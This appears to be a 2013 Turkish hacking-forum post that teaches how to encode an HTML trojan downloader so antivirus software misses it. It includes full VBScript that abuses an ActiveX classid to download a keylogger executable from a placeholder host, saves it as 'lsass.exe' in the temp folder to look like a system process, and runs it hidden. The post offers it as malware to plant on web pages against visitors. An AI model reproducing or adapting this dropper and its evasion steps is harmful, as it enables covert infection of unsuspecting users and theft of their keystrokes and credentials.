Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: HTML KeyLogger[Trojan] KodLarını YakaLanmaz Yapma !
mortalresistance
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 10
Yaşam Puanı: 16 / 238
Deneyim: 53 / 100
Rep Sayısı: 8
Mesaj Sayısı: 132
Üyelik Tarihi: 10.08.2013
     
Yorum: #1
HTML KeyLogger[Trojan] KodLarını YakaLanmaz Yapma !
21.11.2013 21:49
Html Trojan Downloader Kodunu Encode yoluyla antilere yakalanmamayı göstereceğim.


http://www.codehouse.com/webmaster_tools/html_encoder/

Siteye girip assagıdakı verdıgım kodu kendınıze gore ayarlıp sonrada sıteye gırıp karsımıza acılan pencerede HTML Encoder yazısının oraya kodlarımız kendıımıze gore ayarlıp kodu HTML Input: yazan bosluk yere yapıstırıp encode html tıkladıgımız zaman

:Encoded HTML output:

kısımına htm komuzu encode edip bızlere verıyor..

sonra tek yapmız gereken:

Kodu html haline getirmek için kodu not defterine yapıştırınz. Farklı kaydet deyip, kodun adını isim.htm veya isim.html yapın...

Html trojan downloader kodLarı Aşşağıdadır.

Kod:
< ****** language="VBScript">
on error resume next
Set obj1 = ********.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"_xmlHTTP"
Set obj2 = obj1.CreateObject(est1,"")

est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1
est2="GET"
obj2.Open est2, "http://www.siteniz.com/keyloggeradresiniz.exe", False
obj2.Send

set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)

obj3.open
obj3.write obj2.responseBody
obj3.savetofile fi,2
obj3.close

set obj5 = obj1.createobject("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
< / ****** >

NOT: Yedireceğiniz sayfa iLe .exe dosyanız aynı dizinLerde buLunmaLıdır !
(Bu konu en son: 21.11.2013 Tarihinde, Saat: 23:13 düzenlenmiştir. Düzenleyen: H4CK4L.)
Alinti



1 Ziyaretçi